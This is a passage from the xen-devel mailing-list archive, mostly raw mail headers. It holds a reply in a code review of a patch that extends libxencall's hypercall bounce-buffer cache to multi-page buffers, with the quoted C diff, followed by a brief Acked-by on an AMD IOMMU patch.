        b=qy9aWwdUu31Pc8yLPcbkqDqG7T2dv7VJXTHTIUr0d12l0Jjfp+BP/nbPMCIrfT+3P3
         gOIlJLze0x4Ee3fgCM9E3WOSd7Ll/zQDrN48qDpo9xevRtFKZfKXm/LNuJF1ry8ldYCC
         zKa/KEGkvhN9Rob3XuGngJuh/NGW4VPcs+F1XHL1hKGn6mi6VgzMdYzTR9riff3H7VK9
         IPVM5mb+1mkLizZqAqaTvdS5irf34kP1cIJZ4vW6hGAtXa3dmywSCpDq7aifHBIO6D7B
         nTbxTfhrsCuYArb4IUJh4F9TNQj9+al6VjpYuzhWDKiwbd+kxjlAIJU8MGP2iR0Yatkg
         kvBA==
X-Gm-Message-State: AOJu0YxUG1tOq67A/z/l6ZLCJmPabLXlKNYeWCW9Bw1Hea2BgFj+dyuR
	SEqMKB0NkAyb1Netkt2+bPJtwJ0a666qRddnL96IhdTSGs8DegpbmHGaauRoGnGws++Vtxz1SDM
	V7W+klf1gTs8qD8qaWMoVsRkBrOahCRE=
X-Gm-Gg: AfdE7clieHEm7WRGFTLtJO461fNOo0dfigKCPGrTO5e0+Vo3ulrdm9p9jWfNLqOtfdQ
	4nT7CMsx5fq3H1WI/zNfT0iTIOiKcfKa8NkzlgRUG9IARW9P14XutylvPL+8xM9agTx+fGRcWfS
	Y/DSC0QIddgTkzH6Gd7BwodxGLyD1vSiSWdDC0Brr6eorrVXLKwlLG7xi8qMq2AOH+m+66LQBus
	D2DZoKgOZm/+R4c9KZPLfSMIfxSRsLjjaEGjW4gK1vgrO4F3bTAriaPQeORvVhQeDvrnhaOEAG1
	tAzBQIAw4n3Jo9/gBcZ2FlV6r0Y=
X-Received: by 2002:a53:a084:0:b0:664:ddca:8183 with SMTP id
 956f58d0204a3-6677fc0145fmr2931408d50.52.1783435637625; Tue, 07 Jul 2026
 07:47:17 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-7-frediano.ziglio@citrix.com> <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
In-Reply-To: <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Tue, 7 Jul 2026 15:47:07 +0100
X-Gm-Features: AVVi8Ce4khWM0z7xrgffCDQIXwr2uWmcpCB4ZUU9mZfjfV6HN-u9Xu6Krw0ZSFQ
Message-ID: <CAHt6W4cUTUOw=nsQVYnDBuLMZob0mBaWyjxVrggFWB6tY6LKqQ@mail.gmail.com>
Subject: Re: [PATCH v6 06/16] libs/call: cache up to 4 pages in hypercall
 bounce buffers
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, =?UTF-8?B?RWR3aW4gVMO2csO2aw==?= <edwin.torok@citrix.com>, 
	Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>, 
	Frediano Ziglio <frediano.ziglio@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-4011c0/1783435639-3DA71DDE-A4C76E9E/0/0
X-purgate-type: clean
X-purgate-size: 7298

On Tue, 7 Jul 2026 at 14:51, Anthony PERARD <anthony.perard@vates.tech> wro=
te:
>
> On Fri, Jun 19, 2026 at 02:04:51PM +0100, Frediano Ziglio wrote:
> > From: Edwin T=C3=B6r=C3=B6k <edwin.torok@citrix.com>
> >
> > During migration there are a lot of mmap/munmap calls,
> > because `xc_get_pfn_type_batch` exceeds the default hypercall bounce
> > buffer cache size, and needs to allocate every time it is called.
>
> I think xc_get_pfn_type_batch() would allocate a buffer of 2 page top,
> in write_batch(), right ?
>

Yes. That however does not contradict the sense of the sentence (or
even the commit message).

> >
> > `munmap` is slow, especially in a PV Dom0 (takes an emulation fault),
> > so is best avoided.
> >
> > Eventually it'd be good if the memory pool from  xmalloc_tlsf.c
> > was reused here, but for now make it handle the commonly encountered
> > sizes (so far up to 4 pages).
> >

If a program uses 3/4 pages it will use the additional cache, if not
there's no much difference.

> > Signed-off-by: Edwin T=C3=B6r=C3=B6k <edwin.torok@citrix.com>
> > Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
> > --
> > Changes since v2:
> > - change prefix in subject.
> >
> > Changes since v4:
> > - fix off-by-one bug.
> >
> > Changes since v5:
> > - avoids potential buffer underflow if nr_pages is 0 calling cache_allo=
c.
> > ---
> >  tools/libs/call/buffer.c  | 31 ++++++++++++++++++++-----------
> >  tools/libs/call/core.c    |  3 ++-
> >  tools/libs/call/private.h |  8 +++++---
> >  3 files changed, 27 insertions(+), 15 deletions(-)
> >
> > diff --git a/tools/libs/call/buffer.c b/tools/libs/call/buffer.c
> > index 155e4f9d43..2f0515c273 100644
> > --- a/tools/libs/call/buffer.c
> > +++ b/tools/libs/call/buffer.c
> > @@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_=
t nr_pages)
> >  {
> >      void *p =3D NULL;
> >
> > +    if ( nr_pages =3D=3D 0 )
> > +        return NULL;
>
> By doing that check here, we don't update the stat anymore. And it's
> getting out-of-sync with the updates done in cache_free().
>
> Before, we where returning a cache entry for that, and cache_hit++. I
> think it's ok to return cache_miss++ instead.
>

Well... requesting 0 pages is weird by definition, even malloc(0) is
not well defined.
In theory in this case returning NULL would cause cache_free to not be
called as filtered by xencall_free_buffer_pages.

I think the most symmetric think would be adding a similar test in
cache_free, like

static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
{
    int rc =3D 0;

    if ( nr_pages =3D=3D 0 )
        return 1;

    cache_lock(xcall);


(the return 1 is needed to prevent the attempt to munmap the pointer
which does not make sense).

> >      cache_lock(xcall);
> >
> >      xcall->buffer_total_allocations++;
> > @@ -56,13 +59,13 @@ static void *cache_alloc(xencall_handle *xcall, siz=
e_t nr_pages)
> >      if ( xcall->buffer_current_allocations > xcall->buffer_maximum_all=
ocations )
> >          xcall->buffer_maximum_allocations =3D xcall->buffer_current_al=
locations;
> >
> > -    if ( nr_pages > 1 )
> > +    if ( nr_pages > ARRAY_SIZE(xcall->buffer_cache) )
> >      {
> >          xcall->buffer_cache_toobig++;
> >      }
> > -    else if ( xcall->buffer_cache_nr > 0 )
> > +    else if ( xcall->buffer_cache_nr[nr_pages-1] > 0 )
> >      {
> > -        p =3D xcall->buffer_cache[--xcall->buffer_cache_nr];
> > +        p =3D xcall->buffer_cache[nr_pages-1][--xcall->buffer_cache_nr=
[nr_pages-1]];
> >          xcall->buffer_cache_hits++;
> >      }
> >      else
> > @@ -84,10 +87,10 @@ static int cache_free(xencall_handle *xcall, void *=
p, size_t nr_pages)
> >      xcall->buffer_total_releases++;
> >      xcall->buffer_current_allocations--;
> >
> > -    if ( nr_pages =3D=3D 1 &&
> > -         xcall->buffer_cache_nr < BUFFER_CACHE_SIZE )
> > +    if ( nr_pages && nr_pages <=3D ARRAY_SIZE(xcall->buffer_cache) &&
> > +         xcall->buffer_cache_nr[nr_pages-1] < BUFFER_CACHE_SIZE )
> >      {
> > -        xcall->buffer_cache[xcall->buffer_cache_nr++] =3D p;
> > +        xcall->buffer_cache[nr_pages-1][xcall->buffer_cache_nr[nr_page=
s-1]++] =3D p;
> >          rc =3D 1;
> >      }
> >
> > @@ -108,17 +111,23 @@ void buffer_release_cache(xencall_handle *xcall)
> >      DBGPRINTF("current allocations:%d maximum allocations:%d",
> >                xcall->buffer_current_allocations,
> >                xcall->buffer_maximum_allocations);
> > -    DBGPRINTF("cache current size:%d",
> > -              xcall->buffer_cache_nr);
> > +    for ( unsigned i =3D 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++=
i )
> > +    {
> > +        DBGPRINTF("cache current size[%u pages]:%d", i+1,
> > +                xcall->buffer_cache_nr[i]);
> > +    }
> >      DBGPRINTF("cache hits:%d misses:%d toobig:%d",
> >                xcall->buffer_cache_hits,
> >                xcall->buffer_cache_misses,
> >                xcall->buffer_cache_toobig);
> >
> > -    while ( xcall->buffer_cache_nr > 0 )
> > +    for ( unsigned i =3D 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++=
i )
> >      {
> > -        p =3D xcall->buffer_cache[--xcall->buffer_cache_nr];
> > -        osdep_free_pages(xcall, p, 1);
> > +        while ( xcall->buffer_cache_nr[i] > 0 )
> > +        {
> > +            p =3D xcall->buffer_cache[i][--xcall->buffer_cache_nr[i]];
> > +            osdep_free_pages(xcall, p, i + 1);
> > +        }
> >      }
> >
> >      cache_unlock(xcall);
> > diff --git a/tools/libs/call/core.c b/tools/libs/call/core.c
> > index 02c4f8e1ae..dd8877c1a0 100644
> > --- a/tools/libs/call/core.c
> > +++ b/tools/libs/call/core.c
> > @@ -14,6 +14,7 @@
> >   */
> >
> >  #include <stdlib.h>
> > +#include <string.h>
> >
> >  #include "private.h"
> >
> > @@ -44,7 +45,7 @@ xencall_handle *xencall_open(xentoollog_logger *logge=
r, unsigned open_flags)
> >      xentoolcore__register_active_handle(&xcall->tc_ah);
> >
> >      xcall->flags =3D open_flags;
> > -    xcall->buffer_cache_nr =3D 0;
> > +    memset(xcall->buffer_cache_nr, 0, sizeof(xcall->buffer_cache_nr));
> >
> >      xcall->buffer_total_allocations =3D 0;
> >      xcall->buffer_total_releases =3D 0;
> > diff --git a/tools/libs/call/private.h b/tools/libs/call/private.h
> > index 9c3aa432ef..8e6a208975 100644
> > --- a/tools/libs/call/private.h
> > +++ b/tools/libs/call/private.h
> > @@ -31,13 +31,15 @@ struct xencall_handle {
> >      Xentoolcore__Active_Handle tc_ah;
> >
> >      /*
> > -     * A simple cache of unused, single page, hypercall buffers
> > +     * A simple cache of unused, small, hypercall buffers
> > +     * buffer_cache[i]'s size is (i+1) pages
> >       *
> >       * Protected by a global lock.
> >       */
> >  #define BUFFER_CACHE_SIZE 4
> > -    int buffer_cache_nr;
> > -    void *buffer_cache[BUFFER_CACHE_SIZE];
> > +#define BUFFER_CACHE_NRPAGES 4
> > +    int buffer_cache_nr[BUFFER_CACHE_NRPAGES];
> > +    void *buffer_cache[BUFFER_CACHE_NRPAGES][BUFFER_CACHE_SIZE];
> >
> >      /*
> >       * Hypercall buffer statistics. All protected by the global

Frediano


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:52:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:52:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356320.1610955 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7AC-0003wR-Qo; Tue, 07 Jul 2026 14:52:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356320.1610955; Tue, 07 Jul 2026 14:52:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7AC-0003wK-NH; Tue, 07 Jul 2026 14:52:44 +0000
Received: by outflank-mailman (input) for mailman id 1356320;
 Tue, 07 Jul 2026 14:52:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7AA-0003vt-T5
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:52:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7AA-006dKP-4H
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:52:42 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d12b5-2eae-0a2a0a5409dd-0a2a4507bb54-6
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:52:41 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d12b9-9c8e-0a2a45070019-d155dd2ccd96-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:52:41 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47c2b362ee2so2747908f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:52:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0960af0sm31610091f8f.30.2026.07.07.07.52.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 07:52:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783435961; x=1784040761; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=Q/8CwtZcirGaQt8dIZnxPfvlQsvL9/gE9ytgYV0pwbM=;
        b=YHyA0hecsM+BX1PSooQuGWd9u1cMH7ZtxVw1lUVGdqzeLFfBAw2JiWRfkzM1FRymjK
         ZLrp1a+XGMdOeV93+iLCe4vGM9Q/KdK9VyzgutAbH8zVrp3KnQyDWAW/e7nXVIYX7ZFA
         zjFh7+ir1qpZf6O9x5eCMwzg/eealUqGVVTzjlxr64ggn85h0t7YYjg/LqxQLn+mIjmL
         AvMtm2sUttlxMHw0vuXI2jvQLkVAJOkwLdTdJ5X5jBBFfeOSFqhjGZmh998963tvIBu5
         NYQ92OIY5TEVhRIDGaDDw0k+6TyhOV0Gtze10W29smcBzVi0C1TWUptt2SEaKtZ2TAa5
         geig==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435961; x=1784040761;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=Q/8CwtZcirGaQt8dIZnxPfvlQsvL9/gE9ytgYV0pwbM=;
        b=WFmkhBXOumBwL7LC26wTsn+1pzeJ33+nJHB3tSZJuZXGzJFNz1TPhOXw+7QHHD576U
         oorvKjgSg5gKVlPB1n5SELCgFmobGYKVhIEM2RemzGe05IsAifkhbCtFvxM22zVWY2X5
         Ik+z0Uw/6Lf78ghNSq0Ru4dJZghYQD5bz5fE6s9aOuT+VtNAR4spqWhwuZe6fDXCtIg4
         1XfS0evduq9vLxgYqnXc5gZUrvmozFC1zLMWC5LsVWEtOtm9QcuQX7s8M1gzaEnTyvYi
         gOXF4nQr2pYunMBgaWnWrZmw8ysZ3aZZo9ruvFOxr7DtnC5+5f7QCpfeba4SoqMDJF0t
         ZbLA==
X-Forwarded-Encrypted: i=1; AHgh+Rq7VnmIrV6j5zzuQNx8xGlPWNO+CLZ6mMxidOUvcqx5UAx+V8X5jpcNP99Mljx+g8JqDNpgFL9bjhw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz29ZLc4T3ynjAcpV5sf2Y9sDnkrtWzxoHUcH9BgCAOQFvtCRpQ
	ZEMJjkQWKzdNr+VhIK4QaMOq3w8iEo0sb6vKT8j1Kg5YAoQzmkv/WvPqLrvkSsRZ10mcFHlwCDf
	2Ouy26w==
X-Gm-Gg: AfdE7cmL9OwwmwAynF3qLntduK+KxxSPwuo1jxkQ+kaoo9lcOuQ1O7gIt3sOPfhrMhM
	ZHVKLa9wtiGP+VQ4BZVipbblaIHsnl/ED7aScOwC3al8Kv8bn66ZUnCaQkXwlgbIzVGU0xi73Vu
	75WEHeE0LrAwpqs9vRdBskosxOXZDRF6ep9+LB1s7+b8VuauXXBQ8vs/SPGOG6n2xlcyr1wVenX
	x1OKVMdgFLvjGpTR52eDiJ6gUT65LHPnCWumH/4tUdaPUlfbYhWF/due3IvuDMjbPjqIemAaVO+
	yNSgzQopWjJCy2H2FDXR7U67VDvLC0z58m02OJj4Vcly/pmUUITgcuHsz/xLGB6xYiZhgdXs7e2
	SWwU/UkJuKdAybxvZHSW0qAO+lwLXoUZ8zSDtCkNfSgmbVP2IKyp+DlXoyKF9qfHw2KILv6VMzG
	HKKW6akZIlGSxMcgTu0IB3ZZ2muIZ5isNvRclcyWT+5C1JnKYNnAj8NoFAKJikox4zsduP40k2B
	ZaE
X-Received: by 2002:a05:6000:46c8:b0:475:f0c2:75a9 with SMTP id ffacd0b85a97d-47de66f7156mr4262793f8f.58.1783435960981;
        Tue, 07 Jul 2026 07:52:40 -0700 (PDT)
Message-ID: <b667f9e4-39fb-4cb5-9eb2-f4c3b511db3a@suse.com>
Date: Tue, 7 Jul 2026 16:52:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 09/18] amd/iommu: Parse into pci_sbdf_t directly
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Jason Andryuk <jason.andryuk@amd.com>, xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753816.8631fc262581453bbf619ec5b2062170.19f14686fec000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753816.8631fc262581453bbf619ec5b2062170.19f14686fec000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783435961-7C52825E-E9AB8992/0/0
X-purgate-type: clean
X-purgate-size: 143

On 29.06.2026 19:21, Teddy Astie wrote:
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:03:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:03:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356332.1610963 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7K9-0005xO-PG; Tue, 07 Jul 2026 15:03:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356332.1610963; Tue, 07 Jul 2026 15:03:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7K9-0005xH-MJ; Tue, 07 Jul 2026 15:03:01 +0000
Received: by outflank-mailman (input) for mailman id 1356332;
 Tue, 07 Jul 2026 15:03:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7K8-0005xB-O2
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:03:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7K7-005AaA-CI
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:02:59 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1523-5cb7-0a2a0a5109dd-0a2a4506d688-2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:02:59 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1516-08de-0a2a45060019-d1558036e043-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:02:46 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493d92b7db3so26948165e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:02:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f40912sm58952715e9.4.2026.07.07.08.02.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:02:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783436566; x=1784041366; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=b1wC+pO5wbvx4aTmG8LGTZ2oy8BVV545yiOHvg29epQ=;
        b=LPVRLjFnUUBYaoZ9gRY8Du5OpIMvVpso4snvNvW8bxT+6F8pRRL+klc/s1FieQ/9/E
         xc99j9fQ2jXuDxrk7bmCzzh6vtaclBjx7g8J1zwbMGLm/AWGQG/cm4fOmbNaJRN2Rzwy
         iVWIRFMe4SvCamBMBuRc0jtJ8xywoQy+JyauGzgIC2DEFgQJ3flj/mIWu2AC5HIonSr2
         oN0g+CH/zfBieWPdU+tetbMCrRutixTWaAxc/N0OUPt+h7dEpRv9hHI1aSSSpFfoi72L
         ZwRqyOS9LAor/wB1mvEjJlEIC6qrNBJoN+ExVaa/xekOs7gqgKNnQGt4L24nyOeD44x2
         aMnQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783436566; x=1784041366;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=b1wC+pO5wbvx4aTmG8LGTZ2oy8BVV545yiOHvg29epQ=;
        b=HBdtEWxV6nuXPq/IKJzFs77NFV/VZ6VdNT5xd5JfXxjstPtcUhApQDflQJno0dhCSn
         q2I59LReSp7EXmanVuZrkkxr+n7WvyIBCjLFUnMzknchtqgLoWI5bt8RfXcdmN4qGs2u
         iaczvxfBxHvFiBA92BL3oJ4F/sLThejPcGoPMa+TTPWe2/oKcMgYec4Z0z8nGerKwPsp
         I2MHGWBzQjskkKZL3Qtf39OD2B03gtc41Vrn8iP1q9GlYiBWkAKltOlC0prCdweDQ029
         V5Rv7VI+Ebf+AaxCZ6rcr2Pe5lApaGHHO/4DzuOg6oD0ujYUKGPMdqaQ6bZ7cqWMewT4
         ZnhQ==
X-Forwarded-Encrypted: i=1; AHgh+RrgbQo71guF2nUhIbihtqaM/Gg2hQORc6ccO1B3Ig6j/YcgS0aBaS3YCzAEEmkFZ6eONF7HCE3ZSiY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzwgQC6mshIgwbrucHlthzxl7FObxw7+MVi6nP8PFdyHOQDAkFD
	wZ3ryKPCL999i2bf0Xok3t2yJfqfmN69kmcdqT3ROKDvOTrL7Vh2E0GjB26hc0i1OMQm5gXmWGK
	e1BziGg==
X-Gm-Gg: AfdE7clDM2iTDOtYj78rGypQN9QIyBkMJi6HywNALAqwrQLSc/dXTq6/ox7Y6fUi8Wn
	sQh1pmhRg2+dT+7+ndiAtKEWW0lYdcJ7pHio7r116jnCzsdOd5bFLv0K1S6wsJu7YL5FSaRjMYo
	pPX9j21e0AcvQXHAGOMgPJ6rdA6ws9Z0qAanrvhqcDZEzSzmVjrNq4pA6pwrnc/EzTxMtTA3bSP
	riRlqMiQRl2yyhQaqtBeZB7udYu/YNpKc6wVjxtTaH50duWEXp2PhyOts9QLxKJGFuBlExRWHyS
	eDSihTlh2fDzdz/FyNA3CFB+t7yNNrml9xBa+GSZBW2x1rnWtw+S3jSJbbU3qz3YiiHlwZ9yaux
	j9ZSaJJBkcyAQ3QGHMVAGmPVGAzQYttatwEi8V6G/R9Z5nrCgpamZH1123D3ToNWiLyeE7rWcHk
	AOY87L/N4FSb/zx7vNIG9ioFYfCF4wKS6I1LfiLy1ZVyr1BM4CozVhEc7RSLQURhSWhWOVChoOQ
	JiK
